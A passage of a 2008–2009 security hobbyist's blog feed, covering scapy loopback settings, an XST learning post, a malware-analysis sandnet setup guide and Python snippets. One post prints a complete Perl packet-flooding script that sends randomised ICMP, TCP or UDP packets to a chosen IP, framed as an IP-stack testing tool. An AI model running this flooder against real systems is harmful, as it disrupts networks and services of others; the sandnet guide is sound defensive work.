PF_INET/SOCK_RAW instead of PF_PACKET/SOCK_RAW. This can be done by changing the supersocket used by scapy, which is accessed via the configuration.&lt;br /&gt;&lt;br /&gt;The default scapy values for sockets are as follows:&lt;br /&gt;&lt;pre&gt;+------------------------+----------------+&lt;br /&gt;| Configuration Variable | Default Value  |&lt;br /&gt;+------------------------+----------------+&lt;br /&gt;| L2listen               | L2ListenSocket |&lt;br /&gt;+------------------------+----------------+&lt;br /&gt;| L2socket               | L2Socket       |&lt;br /&gt;+------------------------+----------------+&lt;br /&gt;| L3socket               | L3PacketSocket |&lt;br /&gt;+------------------------+----------------+&lt;/pre&gt;&lt;br /&gt;To use the loopback interface, change the L3socket setting to L3RawSocket.&lt;br /&gt;This can be done using the following command (either via the scapy CLI or inside a script):&lt;br /&gt;&lt;pre&gt;conf.L3socket=L3RawSocket&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-997455316840180439?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/997455316840180439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2008/10/scapy-notes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/997455316840180439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/997455316840180439'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2008/10/scapy-notes.html' title='Scapy Notes'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-4965148960693464101</id><published>2009-01-04T23:37:00.004-05:00</published><updated>2009-01-04T23:47:38.445-05:00</updated><title type='text'>captcha madness</title><content type='html'>i went to gmail today to login to an older email account i haven't checked in a while... apparently *too* long, because i got presented a &lt;a href="http://en.wikipedia.org/wiki/Captcha"&gt;captcha&lt;/a&gt; upon entering the username and password.&lt;br /&gt;&lt;br /&gt;i was having a hard time reading the text (no surprises there, captcha's really suck as a technology), so for fun i decided to try clicking the "handicap" icon so i could listen to the captcha in audio format.&lt;br /&gt;&lt;br /&gt;for some reason, it's never occurred to me that, just as visual captcha uses random crap in the image to try to prevent &lt;a href="http://en.wikipedia.org/wiki/Optical_character_recognition"&gt;OCR&lt;/a&gt; from determining the letters, the audio version would contain a whole lot of noise in an effort to prevent text to speech from doing the same. &lt;br /&gt;&lt;br /&gt;if you've ever wondered what an audible version of the mass confusion that is a modern captcha file might sound like: &lt;a href="http://www.wikiupload.com/comment.php?id=86002"&gt;here you go&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;all i can say is, it's a good thing i can see.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-4965148960693464101?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/4965148960693464101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2009/01/captcha-madness.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4965148960693464101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4965148960693464101'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2009/01/captcha-madness.html' title='captcha madness'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-4227663002135581882</id><published>2008-11-20T15:44:00.006-05:00</published><updated>2008-11-20T15:48:08.234-05:00</updated><title type='text'>full disclosure just blew past my lunacy limit</title><content type='html'>from &lt;a href="http://seclists.org/fulldisclosure/2008/Nov/0447.html"&gt;this thread&lt;/a&gt; on the list:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;From: n3td3v&lt;br /&gt;Date: Thu, 20 Nov 2008 20:27:01 +0000&lt;br /&gt;&lt;br /&gt;n3td3v is real&lt;br /&gt;&lt;br /&gt;On Thu, Nov 20, 2008 at 8:23 PM, &lt;adrian.lamo_at_hushmail.com&gt; wrote:&lt;br /&gt;&gt; The mustache respectfully disagrees with you, for &lt;br /&gt;&gt; the very first time.&lt;br /&gt;&gt;&lt;br /&gt;&gt; - -al&lt;br /&gt;&gt;&lt;br /&gt;&gt;&lt;br /&gt;&gt; On Thu, 20 Nov 2008 15:17:24 -0500 n3td3v&lt;br /&gt;&gt; wrote:&lt;br /&gt;&gt;&gt; &lt;br /&gt;&gt;&gt; im not a sock puppet im real.&lt;br /&gt;&gt;&gt;&lt;br /&gt;&gt;&gt; On Thu, Nov 20, 2008 at 8:16 PM,&lt;br /&gt;&gt;&gt; wrote:&lt;br /&gt;&gt;&gt;&gt; *Two* sock puppets, and a dumb *old* guy&lt;br /&gt;&gt;&gt;&gt; with a unkempt mustache.&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-4227663002135581882?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/4227663002135581882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2008/11/full-disclosure-just-blew-past-my.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4227663002135581882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4227663002135581882'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2008/11/full-disclosure-just-blew-past-my.html' title='full disclosure just blew past my lunacy limit'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-2581113793764585949</id><published>2008-11-19T23:47:00.022-05:00</published><updated>2010-03-04T10:48:29.491-05:00</updated><title type='text'>AJAX Fun</title><content type='html'>A little snippet of code I'm playing with. This started as me learning more about XST, to understand why TRACE being enabled was considered a BadThing(tm). [see: &lt;a href="http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf"&gt;this white paper&lt;/a&gt; (.pdf format) for more on that].&lt;br /&gt;&lt;br /&gt;In my opinion, the best way to learn is to do, so I quickly whipped up the following so I could play, and handily, this finally gives me a good reason to write my first bit of AJAX even =)&lt;br /&gt;&lt;br /&gt;A couple of points:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;If you change the method from GET to HEAD, this makes a handy banner grabber&lt;/li&gt;&lt;br /&gt;&lt;li&gt;If you change the method to TRACE, it may or may not work, depending on the browser you are using.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;To explain the latter item:&lt;br /&gt;&lt;br /&gt;The current versions of both Firefox and IE refuse to run TRACE via XMLHttpRequest.&lt;br /&gt;This is the correct behaviour, per &lt;a href="http://www.w3.org/TR/XMLHttpRequest/"&gt;the spec&lt;/a&gt;, and is certainly more secure (it goes a fair way to mitigate XST in general in fact). I have not tried older versions or other browsers to see how they handle it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note that I snarfed bits and pieces of this code from various places on the net, and didn't create all of this from scratch. However, I have tweaked and changed things enough to feel OK calling this "my code".&lt;br /&gt;&lt;br /&gt;I'll probably tweak this further. I'm considering just making different buttons for the different types of requests and letting the function figure out what method to use based on that, for example.&lt;br /&gt;&lt;br /&gt;Anyway, here's the code as it stands after about 20 minutes of crash course in AJAX:&lt;br /&gt;&lt;br /&gt;[EDIT:&lt;br /&gt;if anyone knows how to post HTML/Javascript to blogspot, I'd be grateful for the tip, it keeps trying to render regardless of my use of pre or code. I even tried to settle for textarea, but it borked the formatting of the code unfortunately and added br tags all over the place. *sigh*. ]&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pastebin.ca/raw/1262077"&gt;Here's a pastebin of the code instead&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[EDIT 2010-03-02:&lt;br /&gt;Oh for ... Apparently IE8 renders the pastebin code as HTML instead of displaying it as text/plain. &lt;em&gt;*cry*&lt;/em&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-2581113793764585949?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/2581113793764585949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2008/11/ajax-fun.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2581113793764585949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2581113793764585949'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2008/11/ajax-fun.html' title='AJAX Fun'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-1340901095618951434</id><published>2008-11-04T11:03:00.003-05:00</published><updated>2010-03-02T21:58:19.725-05:00</updated><title type='text'>Packet Flooder Script</title><content type='html'>I considered for a while whether or not to post this here.&lt;br /&gt;Ultimately I decided to go ahead and do it for a couple of reasons:&lt;br /&gt;&lt;br /&gt;1. This isn't anything special, there are myriad similar (or better) tools out there that do the same thing.&lt;br /&gt;2. It is actually useful for testing IP stacks on various devices.&lt;br /&gt;&lt;br /&gt;And so, here it is, a perl based packet flood script.&lt;br /&gt;It's got a few things that make it interesting:&lt;br /&gt;&lt;br /&gt;1. Ports are chosen randomly for TCP and UDP.&lt;br /&gt;2. ICMP type codes are chosen randomly.&lt;br /&gt;3. TCP flags are chosen randomly.&lt;br /&gt;4. The fragment bit is un/set randomly.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;#!/usr/bin/perl -w&lt;br /&gt;# =================================================&lt;br /&gt;# simple network flooder script&lt;br /&gt;# takes type of flood (icmp, tcp, udp) as param&lt;br /&gt;# optionally takes dest ip and packet count&lt;br /&gt;# =================================================&lt;br /&gt;my $VERSION = 0.5;&lt;br /&gt;# =================================================&lt;br /&gt;use strict;&lt;br /&gt;use Net::RawIP;&lt;br /&gt;&lt;br /&gt;my $flood = shift or &amp;usage();&lt;br /&gt;my $dstip = shift || '127.0.0.1';&lt;br /&gt;my $pktct = shift || 100;&lt;br /&gt;&lt;br /&gt;&amp;icmpflood($dstip, $pktct) if $flood =~ 'icmp';&lt;br /&gt;&amp;tcpflood($dstip, $pktct) if $flood =~ 'tcp';&lt;br /&gt;&amp;udpflood($dstip, $pktct) if $flood =~ 'udp';&lt;br /&gt;&lt;br /&gt;sub icmpflood() {&lt;br /&gt;   my($dstip, $pktct, $code, $type, $frag);&lt;br /&gt;   $dstip = shift;&lt;br /&gt;   $pktct = shift;&lt;br /&gt;&lt;br /&gt;   print "\nstarting flood to $dstip\n";&lt;br /&gt;   for(my $i=0; $i &lt;= $pktct; $i++) {&lt;br /&gt;&lt;br /&gt;      $code = int(rand(255));&lt;br /&gt;      $type = int(rand(255));&lt;br /&gt;      $frag = int(rand(2));&lt;br /&gt;&lt;br /&gt;      my $packet = new Net::RawIP({&lt;br /&gt;         ip =&gt; {&lt;br /&gt;            daddr =&gt; $dstip,&lt;br /&gt;            frag_off =&gt; $frag,&lt;br /&gt;         },&lt;br /&gt;         icmp =&gt; {&lt;br /&gt;            code =&gt; $code,&lt;br /&gt;            type =&gt; $type,&lt;br /&gt;         }&lt;br /&gt;      });&lt;br /&gt;&lt;br /&gt;      $packet-&gt;send;&lt;br /&gt;      print "sent icmp $type-&gt;$code, frag: $frag\n";&lt;br /&gt;   }&lt;br /&gt;   print "\nflood complete\n\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub tcpflood() {&lt;br /&gt;   my($dstip, $pktct, $sport, $dport, $frag, $urg, $psh, $rst, $fin,&lt;br /&gt;$syn, $ack);&lt;br /&gt;   $dstip = shift;&lt;br /&gt;   $pktct = shift;&lt;br /&gt;   print "\nstarting flood to $dstip\n";&lt;br /&gt;   for(my $i=0; $i &lt;= $pktct; $i++) {&lt;br /&gt;&lt;br /&gt;      $sport = int(rand(65535));&lt;br /&gt;      $dport = int(rand(65535));&lt;br /&gt;      $frag = int(rand(2));&lt;br /&gt;      $urg = int(rand(2));&lt;br /&gt;      $psh = int(rand(2));&lt;br /&gt;      $rst = int(rand(2));&lt;br /&gt;      $fin = int(rand(2));&lt;br /&gt;      $syn = int(rand(2));&lt;br /&gt;      $ack = int(rand(2));&lt;br /&gt;&lt;br /&gt;      my $packet = new Net::RawIP({&lt;br /&gt;         ip =&gt; {&lt;br /&gt;            daddr =&gt; $dstip,&lt;br /&gt;            frag_off =&gt; $frag,&lt;br /&gt;         },&lt;br /&gt;         tcp =&gt; {&lt;br /&gt;            source =&gt; $sport,&lt;br /&gt;            dest =&gt; $dport,&lt;br /&gt;            urg =&gt; $urg,&lt;br /&gt;            psh =&gt; $psh,&lt;br /&gt;            rst =&gt; $rst,&lt;br /&gt;            fin =&gt; $fin,&lt;br /&gt;            syn =&gt; $syn,&lt;br /&gt;            ack =&gt; $ack,&lt;br /&gt;         }&lt;br /&gt;      });&lt;br /&gt;&lt;br /&gt;      $packet-&gt;send;&lt;br /&gt;      print "sent tcp packet from $sport to $dport, frag: $frag, psh:&lt;br /&gt;$psh, rst: $rst, fin: $fin, syn: $syn, ack: $ack\n";&lt;br /&gt;   }&lt;br /&gt;   print "\nflood complete\n\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub udpflood() {&lt;br /&gt;   my($dstip, $pktct, $sport, $dport, $frag);&lt;br /&gt;   $dstip = shift;&lt;br /&gt;   $pktct = shift;&lt;br /&gt;&lt;br /&gt;   print "\nstarting flood to $dstip\n";&lt;br /&gt;   for(my $i=0; $i &lt;= $pktct; $i++) {&lt;br /&gt;&lt;br /&gt;      $sport = int(rand(255));&lt;br /&gt;      $dport = int(rand(255));&lt;br /&gt;      $frag = int(rand(2));&lt;br /&gt;&lt;br /&gt;      my $packet = new Net::RawIP({&lt;br /&gt;         ip =&gt; {&lt;br /&gt;            daddr =&gt; $dstip,&lt;br /&gt;            frag_off =&gt; $frag,&lt;br /&gt;         },&lt;br /&gt;         udp =&gt; {&lt;br /&gt;            source =&gt; $sport,&lt;br /&gt;            dest =&gt; $dport,&lt;br /&gt;         }&lt;br /&gt;      });&lt;br /&gt;&lt;br /&gt;      $packet-&gt;send;&lt;br /&gt;      print "sent udp packet from $sport to $dport, frag: $frag\n";&lt;br /&gt;   }&lt;br /&gt;   print "\nflood complete\n\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub usage() {&lt;br /&gt;   print "&lt;br /&gt;need to set a valid flood type (one of icmp, tcp, udp)&lt;br /&gt;optionally set dest ip and packetcount&lt;br /&gt;&lt;br /&gt;example:&lt;br /&gt;&lt;br /&gt;   $0 [tcp udp icmp] &lt;destip&gt; &lt;packetcount&gt;\n\n";&lt;br /&gt;   exit 0;&lt;br /&gt;}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-1340901095618951434?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/1340901095618951434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2008/11/packet-flooder-script.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/1340901095618951434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/1340901095618951434'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2008/11/packet-flooder-script.html' title='Packet Flooder Script'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-4749751849321721097</id><published>2008-10-23T07:51:00.005-04:00</published><updated>2010-03-04T10:48:12.745-05:00</updated><title type='text'>Setting Up A Malware Analysis Sandnet</title><content type='html'>A malware analysis sandset is an environment created to allow relatively safe analysis of malicious software samples, which are generally obtained either via a &lt;a href="http://www.honeynet.org/"&gt;honeynet&lt;/a&gt;, or perhaps by reading all the spam one gets and following all the links ;-)&lt;br /&gt;&lt;br /&gt;I've been running one for over a year, and figured it was about time to document how I have it set up. &lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Hosts&lt;/h3&gt;&lt;br /&gt;Currently there are 2 hosts in the sandnet:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;viktim&lt;/strong&gt;: A Windows XP SP2 host which is deliberately infected for the purposes of analysis&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;snservices&lt;/strong&gt;: A Debian Linux host which serves wildcard DNS, as well as running Apache, and providing various other services used to analyze the malware.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;viktim&lt;/h4&gt;&lt;br /&gt;viktim is running XP SP2 (no patches other than the SP) and has 2 hard drives in it.&lt;br /&gt;After installing Windows, I disabled the second hard drive so that the OS doesn't see it. Then I booted up a live Linux distro and used dd to copy the OS drive to the backup one. &lt;br /&gt;&lt;br /&gt;The advantage to this is that I can install whatever malware is desired and then simply dd from the backup drive over the infected one to get things back to a clean state. &lt;br /&gt;&lt;br /&gt;&lt;em&gt;Note: It takes about 15 minutes to do the dd (they're 9gb drives).&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;snservices&lt;/h4&gt;&lt;br /&gt;snservices is running Debian Linux for an OS, and has been configured with a number of tools, including:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;BIND&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Apache&lt;/li&gt;&lt;br /&gt;&lt;li&gt;NMAP&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Paketto&lt;/li&gt;&lt;br /&gt;&lt;li&gt;ettercap&lt;/li&gt;&lt;br /&gt;&lt;li&gt;SpiderMonkey&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Architecture&lt;/h3&gt;&lt;br /&gt;The regular network is protected from the sandnet via a firewall device. I've configured the firewall to log all traffic (logfiles are sent to a remote host via syslog for analysis).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;BIND Configuration&lt;/h4&gt;&lt;br /&gt;BIND has been configured such that it is the SOA for every domain request that it receives, and replies to any requests with the IP address of the snservices host. &lt;br /&gt;&lt;br /&gt;viktim has been configured to use snservices as its only DNS server. This allows any DNS calls being made by the viktim host to be observed, and any software that tries to communicate with the internet ends up talking to the snservices box instead.&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;/etc/bind/named.conf&lt;/h5&gt;&lt;br /&gt;&lt;em&gt;the default zones for localhost and such have been snipped from the text below&lt;/em&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;   include "/etc/bind/named.conf.options";&lt;br /&gt;   &lt;br /&gt;   key "dnskey" {&lt;br /&gt;      algorithm hmac-md5;&lt;br /&gt;      secret "hash";&lt;br /&gt;   };&lt;br /&gt;   &lt;br /&gt;   controls {&lt;br /&gt;      inet * allow { 127.0.0.1; } keys { "dnskey"; };&lt;br /&gt;   };&lt;br /&gt;   &lt;br /&gt;   zone "." IN {&lt;br /&gt;      type master;&lt;br /&gt;      file "/etc/bind/db.wildcard";&lt;br /&gt;   };&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;/etc/bind/db.wildcard&lt;/h5&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;   $TTL   60M&lt;br /&gt;   @   IN   SOA   localhost.  root.localhost (&lt;br /&gt;                           2008022002   ; serial&lt;br /&gt;                                604800  ; refresh&lt;br /&gt;                                 86400  ; retry&lt;br /&gt;                               2419200  ; expire&lt;br /&gt;                                604800) ; negative cache ttl&lt;br /&gt;   ;&lt;br /&gt;                  IN          NS         localhost.&lt;br /&gt;   *              IN           A         192.168.1.3&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;/etc/bind/named.conf.options&lt;/h5&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;   options {&lt;br /&gt;      directory "/var/cache/bind";&lt;br /&gt;      allow-transfer { none; };&lt;br /&gt;   //    logging {&lt;br /&gt;   //       channel query_log {&lt;br /&gt;   //          severity info;&lt;br /&gt;   //          print-time yes;&lt;br /&gt;   //          file "query.log" versions 5 size 50M;&lt;br /&gt;   //       };&lt;br /&gt;   //       category queries {&lt;br /&gt;   //          query_log;&lt;br /&gt;   //       }&lt;br /&gt;   //   }&lt;br /&gt;      listen-on-v6 { any; };&lt;br /&gt;   };&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Analysis&lt;/h3&gt;&lt;br /&gt;&lt;h4&gt;JavaScript De-Obfuscation&lt;/h4&gt;&lt;br /&gt;For de-obfuscating javascript downloader code there are a couple different methods which can be used. Info on this can be found at &lt;a href="http://isc.sans.org/diary.html?storyid=2268"&gt;this SANS diary entry&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The SpiderMonkey method described there is fairly simple and generally works well. For this reason, &lt;a href="http://www.mozilla.org/js/spidermonkey/"&gt;SpiderMonkey&lt;/a&gt; has been installed and9 configured on the snservices host.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Monitoring and Logging&lt;/h4&gt;&lt;br /&gt;&lt;h5&gt;On snservices&lt;/h5&gt;&lt;br /&gt;For analyzing network communication from the viktim host, iptables logging can be used. Apache logs can be used to view HTTP requests. Additionally, a netcat listener can be established on whatever port the malware on viktim is attempting to connect to so the conversation can be monitored and/or logged.&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;On viktim&lt;/h5&gt;&lt;br /&gt;For analyzing the binaries and behaviors that occur upon infecting the Windows host, a combination of the following is typically used:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;strings&lt;/li&gt;&lt;br /&gt;&lt;li&gt;wget&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Wireshark&lt;/li&gt;&lt;br /&gt;&lt;li&gt;PEBrowse Pro&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Immunity Debugger&lt;/li&gt;&lt;br /&gt;&lt;li&gt;SysAnalyzer&lt;/li&gt;&lt;br /&gt;&lt;li&gt;iDefense MAP&lt;/li&gt;&lt;br /&gt;&lt;li&gt;netstat&lt;/li&gt;&lt;br /&gt;&lt;li&gt;ipconfig&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Virtual Machine Environment&lt;/h3&gt;&lt;br /&gt;For a quick analysis of things that don't appear to require such a complicated setup, a virtual environment can be used.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;VM Software&lt;/h4&gt;&lt;br /&gt;For the purposes of evading detection, the Innotek VirtualBox software was chosen. Most malware at the time of this writing does not check for this particular VM software when determining whether it is being run inside a virtual host (whereas a number of them do check for VMWare). VirtualBox also consumes less resources on the Host OS than VMWare. Both VMWare and Virtualbox are freely downloadable.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Guest OS&lt;/h4&gt;&lt;br /&gt;A Windows XP SP2 ( again, unpatched except for the SP ) image is run inside the VirtualBox Host.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Tools&lt;/h4&gt;&lt;br /&gt;The tools used in this environment are largely the same as those on the viktim host described above. Due to the fact that the snservices host is not available to the virtual machine however, some functionality is lost. &lt;br /&gt;&lt;br /&gt;This is made up for somewhat by the functions provided by the SysAnalyzer tool and the iDefense MAP suite, however, these are not as robust as the tools available via the snservices host.&lt;br /&gt;&lt;br /&gt;----&lt;br /&gt;And there you have it. Maybe not the best sandnet ever made, but I find it fairly sufficient, and flexible enough to do what I need it to do and be easily maintained.&lt;br /&gt;&lt;br /&gt;[update 2010-03-02]&lt;br /&gt;I turned this into a talk and presented it at &lt;a href="http://www.blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Ross"&gt;BlackHat DC 2010&lt;/a&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-4749751849321721097?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/4749751849321721097/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2008/10/setting-up-malware-analysis-sandnet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4749751849321721097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4749751849321721097'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2008/10/setting-up-malware-analysis-sandnet.html' title='Setting Up A Malware Analysis Sandnet'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-5826563164172816164</id><published>2008-10-16T10:35:00.010-04:00</published><updated>2010-03-02T22:01:25.353-05:00</updated><title type='text'>Handy Python Snippets</title><content type='html'>Obtaining the local IP address (getip.py)&lt;br /&gt;&lt;pre&gt;#!/usr/bin/env python&lt;br /&gt;&lt;br /&gt;def getip():&lt;br /&gt; from socket import gethostbyaddr, gethostname&lt;br /&gt; theip = gethostbyaddr(gethostname())[2][0]&lt;br /&gt; return theip&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Obtaining the local MAC address (getmac.py)&lt;br /&gt;&lt;pre&gt;#!/usr/bin/env python&lt;br /&gt;&lt;br /&gt;def getmac():&lt;br /&gt; import sys, os&lt;br /&gt; if sys.platform == 'win32':&lt;br /&gt;  for line in os.popen("ipconfig /all"):&lt;br /&gt;   if line.lstrip().startswith('Physical Address'):&lt;br /&gt;    mac = line.split(':')[1].strip().replace('-',':')&lt;br /&gt;    break&lt;br /&gt; else:&lt;br /&gt;  for line in os.popen("/sbin/ifconfig"):&lt;br /&gt;   if line.find('Ether') &gt; -1:&lt;br /&gt;    mac = line.split()[4]&lt;br /&gt;    break&lt;br /&gt; return mac&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Putting these together (test.py)&lt;br /&gt;&lt;pre&gt;#!/usr/bin/env python&lt;br /&gt;import getmac, getip&lt;br /&gt;&lt;br /&gt;myip = getip.getip()&lt;br /&gt;mymac = getmac.getmac()&lt;br /&gt;&lt;br /&gt;print mymac + " has address: " + myip&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-5826563164172816164?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/5826563164172816164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2008/10/handy-python-snippets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/5826563164172816164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/5826563164172816164'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2008/10/handy-python-snippets.html' title='Handy Python 